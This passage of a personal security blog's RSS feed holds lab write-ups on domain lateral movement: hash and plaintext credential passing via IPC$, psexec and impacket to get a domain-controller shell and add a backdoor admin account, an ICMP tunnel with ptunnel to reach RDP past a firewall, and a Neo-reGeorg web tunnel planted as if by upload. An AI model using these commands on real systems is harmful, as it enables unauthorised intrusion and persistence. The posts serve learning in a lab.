</content:encoded></item><item><title>域渗透基础：域内 Hash / 明文传递攻击</title><link>https://www.dxowo8.top/posts/post-4/4/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-4/4/</guid><description>记录使用 psexec或建立ipc连接等方法进行传递攻击的基础实验</description><pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;域渗透基础：域内 Hash / 明文传递攻击&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本次实验使用的psexec两个版本为微软发布的pstools包含版本和github上impacket工具的exe版本(其中impacket项目地址为：&lt;a href=&quot;https://github.com/fortra/impacket&quot;&gt;https://github.com/fortra/impacket&lt;/a&gt;，打包好适用于windows的项目可见&lt;a href=&quot;https://gitee.com/RichChigga/impacket-examples-windows&quot;&gt;https://gitee.com/RichChigga/impacket-examples-windows&lt;/a&gt;)，更多用法详见项目官方文档；&lt;/li&gt;
&lt;li&gt;本文仅为个人技术实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。&lt;/li&gt;
&lt;li&gt;个人仍处于初级学习阶段，难免出现原理解释错误与疏漏的问题，若出现谬误之处欢迎各位批评指正。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;传递攻击简介和原理&lt;/h2&gt;
&lt;p&gt;在域渗透中，传递攻击指攻击者利用已获取的用户凭据（密码哈希、票据等），直接跳过输入明文密码的步骤，完成对目标主机 / 服务的身份认证，进而实现远程控制或横向移动。
传递攻击的核心原理是Windows 认证协议的设计特性：NTLM 认证时，系统仅验证客户端发送的 “哈希响应包” 是否与服务器计算的一致，无需验证哈希的来源；Kerberos 认证则允许票据重用 —— 这意味着攻击者无需还原明文密码，只需拿到哈希 / 票据，就能冒充合法用户完成认证。&lt;/p&gt;
&lt;h3&gt;常见类型&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Hash 传递（PTH）
用抓取到的 NTLM 哈希或LM哈希替代明文密码，通过 SMB 等协议认证，可以通过psexec、smbexec、atexec等工具实现&lt;/li&gt;
&lt;li&gt;票据传递（PTT）
用窃取的 Kerberos 票据直接注入内存，冒充合法用户访问域内服务。（本篇文章暂时不涉及此块内容）&lt;/li&gt;
&lt;li&gt;明文传递
利用获取到的明文密码可以直接通过IPC连接创建计划任务进行攻击，或上述hash传递所用工具进行传递实现远程认证&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;明文传递&lt;/h2&gt;
&lt;p&gt;假设你已经通过Mimikatz工具或其它方式拿到了域控制器（DC）的明文密码，有常见的几种方式可以实现传递攻击&lt;/p&gt;
&lt;h3&gt;（一）IPC连接&lt;/h3&gt;
&lt;p&gt;简介：IPC 连接（Inter-Process Communication，进程间通信）是 Windows 系统中进程间传递数据的核心机制，而&lt;code&gt;ipc$&lt;/code&gt;是基于该机制实现的隐藏管理共享（默认开放），用于远程主机的管理交互，底层依赖 SMB 协议（默认 445 端口）。
在域渗透中，我们可借助&lt;code&gt;ipc$&lt;/code&gt;共享的远程认证特性，用已获取的域管理员明文密码建立信任连接，进而实现文件远程复制、计划任务创建等攻击操作，具体步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在域用户主机（右图）输入以下命令：
&lt;code&gt;net use \\域控制器IP\ipc$ &quot;域管理员密码&quot; /user:域名\域管理员用户名&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/1.CEh9CVhP_Z1tasP2.webp&quot; alt=&quot;建立ipc连接&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在域控主机上执行net session可以看到已经建立IPC连接。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在域用户主机上制作add.bat脚本（我用的net user Admin123 password /add作为该文件内容），并使用以下指令复制到域控主机C盘根目录上：
&lt;code&gt;copy add.bat \\域控制器IP\C$&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/2.BNHWOu9R_ZkiGIu.webp&quot; alt=&quot;copybat&quot; /&gt;
执行后域控主机C盘出现目标文件。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对于winserver2012以前的版本使用at创建计划任务，其后的用schtasks指令，这里针对winserver2008的域控主机，输入以下指令：
&lt;code&gt;at \\域控制器IP 执行时间 C:\add.bat&lt;/code&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DRcghDaG_21C9RI.webp&quot; alt=&quot;at&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;到时间后在域控主机输入net user发现Admin123用户已经添加成功。&lt;/p&gt;
&lt;h3&gt;（二）微软psexec进行明文传递&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;在psexec.exe目录下执行以下指令:
&lt;code&gt;psexec \\域控制器IP -u 域名\域管理员用户名 -p 域管理员密码 -s cmd&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BaqHhDI2_1Og2Ky.webp&quot; alt=&quot;error&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现拒绝访问，经过尝试可以通过切换用户为本地管理员用户方式解决，经查阅可能由于用户帐户控制(UAC)令牌过滤，但rid非500的本地管理员账户可以进行连接，可参考文章对该问题的详细讲述（&lt;a href=&quot;https://www.cnblogs.com/fullstar-l/p/16224372.html&quot;&gt;https://www.cnblogs.com/fullstar-l/p/16224372.html&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/5.CoMl-Y-C_2qzpIy.webp&quot; alt=&quot;admin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/6.C8ReLQAO_1m8Ick.webp&quot; alt=&quot;admin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;切换后再次执行发现拿到了域控主机的shell。&lt;/p&gt;
&lt;h2&gt;hash传递&lt;/h2&gt;
&lt;p&gt;关于hash传递的工具有很多，如atexec，psexec，smbexec等，但使用方法大同小异，由于微软官方的psexec不支持密文传递，这里简单介绍以下impacket中二次开发的psexec。&lt;/p&gt;
&lt;h3&gt;psexec的hash传递&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;假设我们拿到了hash密码（这里对密码获取暂时不做过多讲解），使用LM和NTLM即可进行hash传递（若只有 NTLM 哈希，LM 部分可留空（写成&quot;:NTLM哈希&quot;）），指令如下：
&lt;code&gt;psexec -hashes LM:NTLM 域名/域管理员用户名@域控制器IP&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(注意这里域名后面为/，由于psexec开发语言为python，可以避免\与后文连接造成转义)
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.Cco7ml-B_1dedjj.webp&quot; alt=&quot;hash&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过whoami查看，已经拿到域控制器的shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;关于hash传递不同协议工具区别的简单补充&lt;/h3&gt;
&lt;p&gt;对于常用的psexec和atexec两款工具，经查阅有以下解释，可做了解：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;psexec：通过 SMB 协议远程启动服务（依赖&lt;code&gt;admin$&lt;/code&gt;共享），会在目标主机生成临时服务（比如PSEXESVC），痕迹相对明显；&lt;/li&gt;
&lt;li&gt;atexec：通过 MS-RPC 的Task Scheduler服务执行命令（依赖task scheduler服务），不会生成临时服务，痕迹更隐蔽。
两者都支持明文 / Hash 传递，基础用法类似（atexec 命令格式：atexec domain/user:pass@target cmd）。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>ICMP隧道穿透防火墙（ptunnel实现）</title><link>https://www.dxowo8.top/posts/post-3/3/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-3/3/</guid><description>记录使用 ptunnel实现ICMP隧道穿透防火墙的流程和一些原理解释</description><pubDate>Sun, 21 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;基于 Neo-reGeorg 的虚拟机内网穿透实验：物理机访问隔离内网 Web 服务&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本次实验使用的Ptunnel和rdesktop为kali系统内置，(原项目地址分别为：&lt;a href=&quot;https://github.com/ptunnel-win/ptunnel&quot;&gt;https://github.com/ptunnel-win/ptunnel&lt;/a&gt;和&lt;a href=&quot;https://github.com/rdesktop/rdesktop&quot;&gt;https://github.com/rdesktop/rdesktop&lt;/a&gt;)，更多用法详见项目官方文档；&lt;/li&gt;
&lt;li&gt;本文仅为个人技术实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。&lt;/li&gt;
&lt;li&gt;个人仍处于初级学习阶段，难免出现原理解释错误与疏漏的问题，若出现谬误之处欢迎各位批评指正。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;相关原理介绍&lt;/h2&gt;
&lt;p&gt;ICMP 协议：ICMP（互联网控制报文协议）的核心功能是网络状态检测（如 ping 命令），绝大多数防火墙默认放行 ICMP 流量，也是本次实验所依托的原理。&lt;/p&gt;
&lt;p&gt;Ptunnel 是一种应用程序，允许你通过 ICMP 回声请求和回复包（通常称为 ping 请求和回复）可靠地将 TCP 连接隧道到远程主机。（本条关于ptunnel的介绍引用自原帖&lt;a href=&quot;https://github.com/ptunnel-win/ptunnel&quot;&gt;https://github.com/ptunnel-win/ptunnel&lt;/a&gt;）&lt;/p&gt;
&lt;h2&gt;环境搭建&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在vmware中开启三个虚拟机ABC，我使用的配置如下：A（kali系统 NAT模式IP：192.168.245.136（模拟外网攻击机））、B（kali系统 配置双网卡：NAT模式IP：192.168.245.135，lan区段IP为10.0.0.1（模拟内网IP））、C（win7系统 lan区段IP地址为10.0.0.2（模拟和B同段并作为被攻击机））&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;测试ABC之间的ping指令，A无法ping通C，如果B对C的ping失败，可能是win7防火墙拦截原因，前往步骤3设置防火墙拦截规则
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BleHMVkQ_Z2n4S4c.webp&quot; alt=&quot;配置图&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对win7系统防火墙规则以及远程桌面规则进行确认：启用文件和打印机共享（回显请求 - ICMPv4-In）规则，重新尝试2发现可以ping通C主机，并启用远程桌面 - TCP-In规则，检查是否开启了远程桌面连接（使用cmd命令检查默认3389端口/我的电脑-属性-远程桌面连接）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;开始tunnel搭建&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在B上执行以下命令，-x后面是设置隧道的连接密码，看到下面Ping proxy is listening等字样说明开始运行。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DEvedbXZ_GVn9N.webp&quot; alt=&quot;开隧道&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在A上执行sudo ptunnel -p 192.168.245.135 -lp 1080 -da 10.0.0.2 -dp 3389 -x ooo123（请分别替换为你的B机IP、A本机运行tunnel端口、C机IP和远连端口、和连接密码）
执行之后，当A机上访问本机1080，数据将打包成 ping 包（ICMP）发给B解包后，把数据转发给C的3389端口，并通过B机打包成 ping 包回传给A的1080端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DW0WQoDE_1jsgec.webp&quot; alt=&quot;隧道配置&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来涉及如何利用3389传回的数据，我这里用的A机集成的rdesktop接收1080端口数据（其它系统可以去前面的github链接下载）保持 A 机的 ptunnel 客户端终端运行，另开一个终端执行以下命令，通过隧道连接 C 机远程桌面：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;rdesktop -u 用户名 -p 密码 127.0.0.1:1080&lt;/code&gt; (用户名和密码为C机的系统用户和密码)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BjBOKxFK_1t942o.webp&quot; alt=&quot;rdesktop使用&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入yes后成功获取c的桌面连接。&lt;/p&gt;
&lt;h2&gt;后记&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在实际服务器中很多防火墙对ICMP协议拦截不严格，常常忽视对 ICMP 报文数据段的深度检测，当可以ping通内网主机的时候，可以尝试利用本次实验提供的思路，使用隧道绕过防火墙的检测，相比暴力，此类基于协议特性的伪装方式更隐蔽，流量表现与正常 ping 请求差异极小，因此较适用于内网横向移动场景，若防火墙对ICMP报文深度检测，也应灵活选择，不单一依赖隧道技术。&lt;/li&gt;
&lt;li&gt;其它桌面连接工具如freerdp连接失败问题（kali内置xfreerdp3我使用时无法建立连接，去查了查文档发现有以下解释和解决方案），之后我换用了rdesktop可以建立成功，查阅得知：Win7 系统的远程桌面（RDP）是早期版本，仅支持 RDP 弱加密（RC4） 和 TLS 1.0，而rdesktop不强制 TLS 握手，直接通过 RDP 弱加密传输数据，避开了 TLS 版本不兼容的问题，加上仍支持 win7 RDP 依赖的 RC4 加密算法，故可兼容win7.
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.B28Zso5f_1oyCvO.webp&quot; alt=&quot;freerdp官方文档解释&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>基于 Neo-reGeorg 的虚拟机内网穿透实验：物理机访问隔离内网 Web 服务</title><link>https://www.dxowo8.top/posts/post-2/2/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-2/2/</guid><description>记录使用 Neo-reGeorg 工具实现物理机访问隔离内网 Web 服务的完整实验流程，包含环境搭建、工具配置、原理说明等核心内容</description><pubDate>Tue, 16 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;基于 Neo-reGeorg 的虚拟机内网穿透实验：物理机访问隔离内网 Web 服务&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本次实验使用的 Neo-reGeorg 工具，项目地址为：&lt;a href=&quot;https://github.com/L-codes/Neo-reGeorg&quot;&gt;https://github.com/L-codes/Neo-reGeorg&lt;/a&gt;，更多用法详见项目官方文档；&lt;/li&gt;
&lt;li&gt;本文仅为个人技术实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;工具简介&lt;/h2&gt;
&lt;p&gt;NeoReGeorg 是 ReGeorg 的优化升级版本，一款轻量级内网穿透工具，主打「隐蔽性」与「易用性」，其本质是「Web 反向代理隧道」。&lt;/p&gt;
&lt;p&gt;核心原理：通过在目标 Web 服务器（本次实验中的虚拟机 A）部署脚本（如 tunnel.php/tunnel.aspx 等），将外网主机（物理机）的访问请求伪装成普通 Web 流量（HTTP/HTTPS），绕过防火墙对非 Web 端口的限制，间接访问目标服务器所在内网的隔离资源（本次实验中的虚拟机 B）。&lt;/p&gt;
&lt;h2&gt;核心流量流转逻辑&lt;/h2&gt;
&lt;p&gt;本次实验的隧道链路分为 3 段，清晰呈现流量从物理机到内网主机的传输过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;物理机应用层&lt;/strong&gt;：浏览器等应用的请求被 Proxifier 强制转为 SOCKS5 协议，发送到本地 127.0.0.1:1080（Neo-reGeorg 客户端监听端口）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隧道传输层&lt;/strong&gt;：Neo-reGeorg 客户端将 SOCKS5 请求加密并封装为 HTTP 请求，发送到虚拟机 A 的 tunnel.php（走 A 的 Web 服务 80 端口）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内网转发层&lt;/strong&gt;：tunnel.php 解密还原请求，以 HTTP 原生协议转发到同一内网的 B 机（10.0.0.2:80），最终将 B 机的响应按反向流程回传给物理机浏览器。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;本次实验原理图&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/11.DLk0P8X4_Z1hl5zu.webp&quot; alt=&quot;实验原理图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;具体实验操作&lt;/h2&gt;
&lt;h3&gt;1. 实验环境搭建&lt;/h3&gt;
&lt;p&gt;搭建两台虚拟机 A、B，分别承担不同角色：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;虚拟机 A：模拟公网可达的 Web 服务器，需配置两块网卡——一块选择 NAT 模式（与物理机连通），另一块添加 LAN 区段（用于与 B 机内网通信）；&lt;/li&gt;
&lt;li&gt;虚拟机 B：模拟与 A 机同一内网的隔离主机，网卡选择与 A 机相同的 LAN 区段。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/1.YfSAJwpu_ZQcdvC.webp&quot; alt=&quot;虚拟机 A 网卡配置&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.Cs2vXNva_1rMNTb.webp&quot; alt=&quot;虚拟机 B 网卡配置&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. 内网 IP 配置&lt;/h3&gt;
&lt;p&gt;为 A、B 机分配同一网段的静态 IP，确保内网连通性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;虚拟机 A：IP 地址 10.0.0.1，子网掩码 255.255.255.0；&lt;/li&gt;
&lt;li&gt;虚拟机 B：IP 地址 10.0.0.2，子网掩码 255.255.0.0。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配置完成后验证网络连通性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;物理机 ping 虚拟机 A 的 NAT 模式 IP（确保外网可达）；&lt;/li&gt;
&lt;li&gt;物理机 ping 虚拟机 B 的内网 IP 10.0.0.2（应无法 ping 通，验证隔离效果）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/3.AFsUywi8_Z1mAn4n.webp&quot; alt=&quot;虚拟机 A IP 配置&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BZ-LIeVS_1he8gO.webp&quot; alt=&quot;虚拟机 B IP 配置&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.CYDFvVsZ_Z1jmvmt.webp&quot; alt=&quot;网络连通性测试&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. 生成 Neo-reGeorg 隧道脚本&lt;/h3&gt;
&lt;p&gt;在物理机上运行 Neo-reGeorg 工具，生成隧道脚本：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;进入工具所在文件夹，右键打开终端；&lt;/li&gt;
&lt;li&gt;执行指令：&lt;code&gt;python neoreg.py generate -k password&lt;/code&gt;（-k 后为自定义加密密码）；&lt;/li&gt;
&lt;li&gt;工具会生成包含多种语言脚本的文件夹，本次实验选择 &lt;code&gt;tunnel.php&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/6.CHQDAbOQ_Z1Fdb7Q.webp&quot; alt=&quot;生成隧道脚本&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4. 部署脚本并启动隧道&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;将 &lt;code&gt;tunnel.php&lt;/code&gt; 上传到虚拟机 A 的 Web 服务根目录（模拟通过漏洞上传脚本）；&lt;/li&gt;
&lt;li&gt;在物理机终端执行连接指令：&lt;code&gt;Python3 neoreg.py -k password -u http://虚拟机A的NATIP/tunnel.php&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;终端显示「Starting SOCKS5 server [127.0.0.1:1080]」即表示隧道启动成功，物理机本地 1080 端口开始监听 SOCKS5 请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/7.C58pNNaM_1Uy8ph.webp&quot; alt=&quot;启动 Neo-reGeorg 隧道&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;5. 配置 Proxifier 代理&lt;/h3&gt;
&lt;p&gt;在物理机打开 Proxifier，配置 SOCKS5 代理规则，实现流量转发：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;添加代理服务器：地址 127.0.0.1，端口 1080，协议 SOCKS5；&lt;/li&gt;
&lt;li&gt;配置生效后，物理机所有应用的网络请求会被 Proxifier 拦截，强制转发到 1080 端口；&lt;/li&gt;
&lt;li&gt;Neo-reGeorg 客户端将 SOCKS5 请求加密封装为 HTTP 请求，伪装成普通 Web 流量，绕过防火墙限制访问 A 机的 tunnel.php。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/8.DmpneiyB_156xPy.webp&quot; alt=&quot;Proxifier 代理配置&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;6. 配置 Proxifier 规则避免流量死循环&lt;/h3&gt;
&lt;p&gt;为 Neo-reGeorg 运行进程设置直连规则，防止请求自循环：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 Proxifier 规则列表中，添加应用规则：选择运行 Neo-reGeorg 的 Python.exe（可通过 cmd 执行 &lt;code&gt;python&lt;/code&gt; 查看版本对应的exe路径）；&lt;/li&gt;
&lt;li&gt;动作设置为「Direct（直连）」，确保 Neo-reGeorg 向 A 机发送的 HTTP 请求跳过代理，直接通过物理机原生网络传输；&lt;/li&gt;
&lt;li&gt;若不设置此规则，该请求会被 Proxifier 转发回 1080 端口，导致隧道卡死。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/9.CaYUgn0i_Z2iY1lb.webp&quot; alt=&quot;Proxifier 规则配置&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;7. 验证内网穿透效果&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;在虚拟机 B 上启动 Web 服务（本次实验部署皮卡丘漏洞练习平台）；&lt;/li&gt;
&lt;li&gt;在物理机浏览器中输入 &lt;code&gt;http://10.0.0.2&lt;/code&gt;（虚拟机 B 的内网 IP）；&lt;/li&gt;
&lt;li&gt;浏览器成功加载 B 机的 Web 页面，说明内网穿透成功。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/10.DHsI-VPV_12Ujt7.webp&quot; alt=&quot;内网穿透效果验证&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>bbb尾杀乱糊一则</title><link>https://www.dxowo8.top/posts/post-1/bbb/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-1/bbb/</guid><description>测试用博客</description><pubDate>Sun, 14 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;bbb尾杀乱糊一则&lt;/h1&gt;
&lt;p&gt;发一个最近的游玩maimai的视频测试一下&lt;/p&gt;
&lt;p&gt;&amp;lt;div style=&quot;
margin: 2rem 0;
padding: 1rem;
background: #f8f9fa;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
&quot;&amp;gt;
&amp;lt;video
controls
width=&quot;100%&quot;
poster=&quot;/images/myblog/cover.png&quot;
style=&quot;
max-width: 1200px;
margin: 0 auto;
display: block;
border-radius: 4px;
&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;source src=&quot;/images/myblog/bbb.mp4&quot; type=&quot;video/mp4&quot;&amp;gt; 
你的浏览器不支持HTML5视频播放，请升级浏览器后重试。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/video&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item></channel></rss>